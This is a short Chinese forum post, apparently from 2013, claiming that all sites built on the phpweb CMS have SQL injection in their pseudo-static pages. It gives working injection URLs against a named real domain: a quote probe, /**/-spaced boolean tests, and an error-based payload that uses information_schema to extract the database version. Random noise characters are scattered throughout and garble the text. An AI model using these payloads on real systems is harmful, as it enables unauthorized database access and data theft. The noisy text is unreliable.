phpweb所有的整站程序伪静态页面都存在sql注入2 P9 U2 C3 e6 h; Q% v5 U8 `
Y& Z! P) @3 r: ]& ]0 C3 @
主站：http://phpweb.net/
+ L0 d5 Z4 l5 |( Z( v" u. B7 d加’检测：0 Y5 `2 f2 u. U* L. A5 P
/ m. s# U/ ]2 R2 ]* S$ U
http://www.phpweb.net/down/html/?772′.html _ R- k- Z4 h9 u: [8 A
. e; x5 q7 P4 d# D" V+ a; T+ v出错7 W+ B5 O& o; H2 p9 A
存在注入。
" y. e) H& H( w& c不能用空格，只能用/*罗6 T% C, n' b0 O& K1 p6 M7 D
http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常 P2 e3 ^ U1 S* a1 l
4 v" G6 d0 H3 m7 ~
http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.! ~8 X& V* K& `! L* b4 m% B
爆数据库版本：
6 p+ Y/ T4 ?, A2 Y/ z
6 K2 f W4 u' d3 I?
- q6 Q* @9 m4 u* c) K! q& L/ O* _7 G1) ]7 X0 X$ U8 x8 Z4 Q
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
3 r$ ~- ~- _8 ?7 P$ ^3 Y8 W4 i+ E5 u更新日期: 2013-01-03 13:39:50 ; e. Y5 p9 u; F8 h# e
|
发表于 2013-1-4 19:46:42
收藏
支持
反对